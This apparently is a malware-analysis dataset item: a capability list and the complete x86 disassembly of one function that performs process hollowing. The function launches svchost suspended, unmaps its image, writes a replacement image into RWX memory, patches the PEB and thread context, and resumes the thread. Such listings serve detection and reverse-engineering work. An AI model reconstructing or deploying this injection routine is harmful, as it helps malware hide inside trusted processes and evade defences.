Function at 0x10021940
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Patch process command line
Read file on windows
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x398
mov eax, dword [0x100e8018]
xor eax, esp
mov dword [esp + 0x394], eax
mov ecx, dword [ebp + 8]
xor eax, eax
push esi
push edi
xorps xmm0, xmm0
mov dword [esp + 0x10], edx
xor edi, edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x34], eax
movaps xmmword [esp + 0x60], xmm0
movq qword [esp + 0x70], xmm0
mov dword [esp + 0x78], eax
mov dword [esp + 0xc], ecx
cmp byte [ebp + 0xc], al
jne 0x100219bb
test ecx, ecx
jne 0x100219bb
push str.Error:_If_image_should_not_be_unmapped_PreferredTargetCodeAddress_should_be_specified_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x394]
xor ecx, esp
call fcn.100313c7
mov esp, ebp
pop ebp
ret
push str.Creating_process_n
push dword [0x100ee8a4]
movlpd qword [esp + 0x8c], xmm0
movlpd qword [esp + 0x94], xmm0
movlpd qword [esp + 0x9c], xmm0
movlpd qword [esp + 0xa4], xmm0
movlpd qword [esp + 0xac], xmm0
movlpd qword [esp + 0xb4], xmm0
movlpd qword [esp + 0xbc], xmm0
movlpd qword [esp + 0xc4], xmm0
movaps xmmword [esp + 0x28], xmm0
mov dword [esp + 0x88], 0x44
call fcn.1000f610
add esp, 8
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.svchost
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
test esi, esi
jne 0x10021a71
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcessA_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
jmp 0x1002218f
cmp dword [esp + 0x20], edi
jne 0x10021a98
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Process_not_created__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
xor esi, esi
jmp 0x1002218f
push 0
push 0
push 3
push 0
push 0
push SysReAllocString
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10021ad9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateFileA_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
xor esi, esi
jmp 0x1002218d
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 8], eax
add eax, 0x104
push eax
call fcn.1003980e
mov esi, eax
add esp, 4
mov dword [esp + 0x18], esi
test esi, esi
jne 0x10021b0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.malloc_failed__last_error__d_n
jmp 0x10022176
push 0
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x10]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002216a
mov eax, dword [esp + 8]
cmp eax, dword [esp + 0x34]
jne 0x1002216a
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x50]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
test eax, eax
je 0x10021b7b
push ecx
push ecx
mov ecx, dword [esp + 0x28]
mov edx, eax
call fcn.1002f150
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
jne 0x10021b7b
push str.FindFirstFreeMemZone_did_not_find_enough_memory_for_new_image__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
jmp 0x10022184
mov eax, dword [esp + 0x20]
xorps xmm0, xmm0
push str.ntdll.dll
mov dword [esp + 0x14], eax
movaps xmmword [esp + 0x44], xmm0
movq qword [esp + 0x54], xmm0
mov dword [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10021bb8
call esi
push eax
push str.LoadLibraryA___failed__last_error__d
jmp 0x10021bd0
push str.NtQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10021c01
call esi
push eax
push str.GetProcAddress_failed__last_error__d
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.GetProcFromModule_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.GetProcessPEB_failed__last_error__d_n
jmp 0x10022176
lea ecx, [esp + 0x3c]
push ecx
push 0x18
lea ecx, [esp + 0x48]
push ecx
push 0
push dword [esp + 0x20]
call eax
test eax, eax
jle 0x10021c3a
push eax
push str.NtQueryInformationProcess_failed__status__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.GetProcessPEB_failed__last_error__d_n
jmp 0x10022176
push 0x1d8
call fcn.1003980e
mov esi, eax
add esp, 4
mov dword [esp + 8], esi
test esi, esi
jne 0x10021c7a
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.malloc_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.GetProcessPEB_failed__last_error__d_n
jmp 0x10022176
push 0
push 0x1d8
push esi
push dword [esp + 0x50]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x10021cca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ReadProcessMemory_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
push esi
call fcn.100395e6
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 4
call esi
push eax
push str.GetProcessPEB_failed__last_error__d_n
jmp 0x10022176
cmp byte [ebp + 0xc], 0
je 0x10021d8c
cmp dword [esp + 0xc], 0
jne 0x10021ce2
mov eax, dword [esi + 8]
mov dword [esp + 0xc], eax
push str.Unmapping_the_original_code.._n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10021d14
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.LoadLibraryA___failed__last_error__d
jmp 0x10021d32
push str.NtUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10021d68
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.GetProcAddress_failed__last_error__d
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.GetProcFromModule_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 8]
jmp 0x1002218f
push dword [esp + 0xc]
push dword [esp + 0x24]
call eax
test eax, eax
jns 0x10021d8c
cmp dword [esp + 0x14], 0
je 0x10021d84
cmp eax, 0xc0000019
je 0x10021d8c
push eax
push str.NtUnmapViewOfSection_failed__status_0x_X_n
jmp 0x10021d48
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10021dab
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.LoadLibraryA___failed__last_error__d
jmp 0x10021d32
push str.NtQueryVirtualMemory
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10021d24
push 0
push 0x1c
lea ecx, [esp + 0x68]
push ecx
push 0
push dword [esp + 0x1c]
push dword [esp + 0x34]
call eax
test eax, eax
jns 0x10021de3
push eax
push str.NtQueryVirtualMemory_failed__status_0x_X_n
jmp 0x10021d48
cmp dword [esp + 0x70], 0x10000
je 0x10021e12
push str.The_address_where_we_want_to_allocate_memory_is_not_free__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 8]
jmp 0x1002218f
mov eax, dword [esp + 0x1c]
cmp eax, dword [esp + 0x6c]
jbe 0x10021e29
push dword [esi + 8]
push str.There_is_not_enough_free_space_to_allocate_starting_at_0x_p__n
jmp 0x10021d48
mov esi, dword [esp + 0xc]
push 0x40
push 0x3000
push eax
push esi
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
jne 0x10021e55
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.VirtualAllocEx_failed__last_error__d_n
jmp 0x10021d48
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
mov eax, dword [esp + 0x1c]
mov edx, esi
push ecx
mov ecx, dword [esp + 0x28]
push eax
call fcn.100216e0
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x10021ea6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WriteTargetCode_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 8]
jmp 0x1002218f
mov esi, dword [esp + 8]
mov eax, dword [esp + 0xc]
cmp dword [esi + 8], eax
je 0x10021fcc
xorps xmm0, xmm0
mov dword [esi + 8], eax
mov eax, dword [esp + 0x20]
push str.ntdll.dll
mov dword [esp + 0x18], eax
movaps xmmword [esp + 0x44], xmm0
movq qword [esp + 0x54], xmm0
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10021f14
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LoadLibraryA___failed__last_error__d
push dword [0x100ee8a4]
call fcn.1000f610
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0xc
call esi
push eax
push str.GetProcFromModule_failed__last_error__d_n
jmp 0x10021fb1
push str.NtQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10021f4a
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.GetProcAddress_failed__last_error__d
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.GetProcFromModule_failed__last_error__d_n
jmp 0x10021fb1
lea ecx, [esp + 0x1c]
push ecx
push 0x18
lea ecx, [esp + 0x48]
push ecx
push 0
push dword [esp + 0x24]
call eax
test eax, eax
jle 0x10021f89
push eax
push str.NtQueryInformationProcess_failed__status__d_n
push dword [0x100ee8a4]
call fcn.1000f610
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0xc
call esi
push eax
push str.WriteNewPEB_failed__last_error__d_n
jmp 0x10021d48
push 0
push 0x1d8
push esi
push dword [esp + 0x50]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10021fcc
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.WriteProcessMemory_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.WriteNewPEB_failed__last_error__d_n
jmp 0x10021d48
push str.New_code_injected_in_the_host_process__n
push dword [0x100ee8a4]
call fcn.1000f610
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0xd4]
push 0x2c8
push 0
push eax
call fcn.100346a0
add esp, 0x14
mov dword [esp + 0xc8], 0x10007
lea eax, [esp + 0xc8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x10022025
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.GetThreadContext_failed__last_error__d_n
jmp 0x10022051
mov eax, dword [esp + 0x10]
mov dword [esp + 0x178], eax
lea eax, [esp + 0xc8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1002206c
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.SetThreadContext_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
call esi
push eax
push str.ChangeContext_failed__last_error__d_n
jmp 0x10021d48
push str.Context_changed_in_the_host_process__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1002209f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Resuming_main_thread_failed__last_error__d_n
jmp 0x10021d48
cmp eax, 1
je 0x100220af
push eax
push str.Main_thread_of_the_host_process_was_not_resumed_successfully__Previous_suspend_count__d_n
jmp 0x10021d48
push str.Main_thread_of_the_host_process_resumed_successfully_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
push 0x1388
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100220e6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Wait_failed__last_error__d_n
jmp 0x10021d48
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 0
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov esi, eax
test esi, esi
jne 0x1002212a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetExitCodeProcess_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 8]
jmp 0x1002218f
mov eax, dword [esp + 0x38]
cmp eax, 0xfeedc0de
je 0x10022140
push eax
push str.Something_went_wrong_with_the_new_process__exit_code_0x_X_n
jmp 0x10021d48
push 0xfeedc0de
push str.Process_exited_with_code_0x_X__success__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
mov esi, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 8]
jmp 0x100221a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ReadFile_failed__last_error__d_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x100221a0
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test edi, edi
je 0x100221ad
push edi
call fcn.100395e6
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x100221be
push eax
call fcn.100395e6
add esp, 4
mov ecx, dword [esp + 0x39c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.100313c7
mov esp, ebp
pop ebp
ret